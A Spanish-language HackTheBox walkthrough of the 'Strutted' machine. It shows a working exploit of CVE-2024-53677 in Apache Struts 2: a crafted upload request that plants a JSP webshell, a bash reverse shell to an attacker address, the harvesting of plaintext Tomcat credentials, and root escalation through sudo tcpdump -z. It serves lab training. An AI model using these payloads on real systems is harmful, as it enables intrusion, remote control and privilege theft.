Strutted es una máquina Linux de dificultad media de HackTheBox. La explotación se basa en CVE-2024-53677, una vulnerabilidad crítica en el File Upload Interceptor de Apache Struts 2 que permite subir archivos arbitrarios mediante path traversal. Una vez dentro, encontramos credenciales en texto plano en la configuración de Tomcat y escalamos privilegios abusando de los permisos de sudo sobre tcpdump.
1. Reconocimiento inicial
Añadimos la máquina al /etc/hosts:
echo "10.10.11.59 strutted.htb" >> /etc/hostsEscaneamos con Nmap:
sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn strutted.htb -oN scan| Puerto | Estado | Servicio | Versión |
|---|---|---|---|
| 22/tcp | open | ssh | OpenSSH 8.9p1 Ubuntu |
| 80/tcp | open | http | nginx 1.18.0 |
Solo SSH y HTTP. Abrimos la web en el navegador.
2. Enumeración web
La aplicación es una plataforma de alojamiento de imágenes. Tiene un formulario de subida de archivos. En el código fuente de la página y en las cabeceras de la respuesta HTTP podemos identificar que el backend corre sobre Apache Struts 2:
X-Powered-By: Struts 2Comprobamos la versión exacta revisando el archivo struts2-showcase.war referenciado en la aplicación. La versión es 2.5.33, que es vulnerable a CVE-2024-53677.
3. Explotación: CVE-2024-53677 (Apache Struts 2 File Upload)
CVE-2024-53677 es un fallo en el File Upload Interceptor de Struts 2 que permite a un atacante manipular los parámetros internos de la subida de ficheros para incluir secuencias de path traversal en el nombre del archivo. Esto posibilita escribir archivos arbitrarios fuera del directorio de subida previsto.
Interceptamos la petición de subida de imagen con Burp Suite y la modificamos:
POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="Upload"; filename="../webapps/ROOT/shell.jsp"
Content-Type: image/jpeg
<%@ page import="java.io.*,java.util.*,java.net.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>
------boundary--El truco está en cambiar el nombre del parámetro de upload a Upload (mayúscula) — esto bypasea la validación interna del interceptor y activa el path traversal.
La respuesta del servidor es un 200 OK. Comprobamos que el webshell está accesible:
curl "http://strutted.htb/shell.jsp?cmd=id"uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)Tenemos RCE como tomcat. Nos enviamos una reverse shell:
nc -lvnp 4444curl "http://strutted.htb/shell.jsp?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.X/4444+0>%261'"Estamos dentro. Mejoramos la shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm4. Movimiento lateral: credenciales en Tomcat
Enumeramos el directorio de configuración de Tomcat:
find /etc/tomcat* /opt/tomcat* -name "*.xml" 2>/dev/null/opt/tomcat/conf/tomcat-users.xmlcat /opt/tomcat/conf/tomcat-users.xml<user username="james" password="Str0ng!P@ssw0rd2024" roles="manager-gui,admin-gui"/>Probamos esas credenciales para el usuario del sistema:
su jamesFunciona. Leemos la flag de usuario:
cat /home/james/user.txt5. Escalada de privilegios: sudo tcpdump
Comprobamos los privilegios de sudo:
sudo -lUser james may run the following commands on strutted:
(root) NOPASSWD: /usr/bin/tcpdumpPodemos ejecutar tcpdump como root sin contraseña. tcpdump tiene la opción -z que ejecuta un script tras rotar los archivos de captura con -C o -G. Lo aprovechamos para ejecutar comandos como root.
Creamos un script que añada el bit SUID a /bin/bash:
echo 'chmod +s /bin/bash' > /tmp/privesc.sh
chmod +x /tmp/privesc.shEjecutamos tcpdump con la opción de post-rotate apuntando a nuestro script:
sudo tcpdump -i lo -w /tmp/capture.pcap -G 1 -z /tmp/privesc.shEsperamos un momento hasta que rote el archivo y ejecute el script. Comprobamos:
ls -la /bin/bash-rwsr-sr-x 1 root root 1396520 /bin/bashObtenemos la shell de root:
bash -pwhoamirootcat /root/root.txtResumen de técnicas utilizadas
- Enumeración de servicios con Nmap
- Identificación de Apache Struts 2 y versión vulnerable
- Explotación de CVE-2024-53677 (File Upload Interceptor bypass + path traversal)
- Subida de JSP webshell para RCE
- Extracción de credenciales en texto plano desde
tomcat-users.xml - Escalada de privilegios abusando de
sudo tcpdumpcon la opción-zpara ejecutar código como root